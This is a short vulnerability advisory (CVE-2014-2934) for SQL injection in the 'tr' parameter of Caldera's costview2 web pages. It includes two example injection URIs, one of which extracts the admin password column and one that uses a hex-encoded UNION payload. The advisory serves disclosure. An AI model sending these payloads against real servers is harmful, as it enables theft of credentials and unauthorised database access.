Caldera �??tr�?? Parameter Multiple SQL Injection Vulnerabilities

Bugtraq ID:	67256
Class:	Input Validation Error
CVE:	CVE-2014-2934
Remote:	Yes
Local:	No
Published:	May 07 2014 12:00AM
Updated:	May 07 2014 12:00AM
Credit:	Thomas Fischer and Markus Wulftange of Daimler TSS GmbH
Vulnerable:
Not Vulnerable:

Caldera �??tr�?? Parameter Multiple SQL Injection Vulnerabilities

Caldera is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Caldera �??tr�?? Parameter Multiple SQL Injection Vulnerabilities

The following example URIs are available:

http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin

http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0

Caldera �??tr�?? Parameter Multiple SQL Injection Vulnerabilities

References: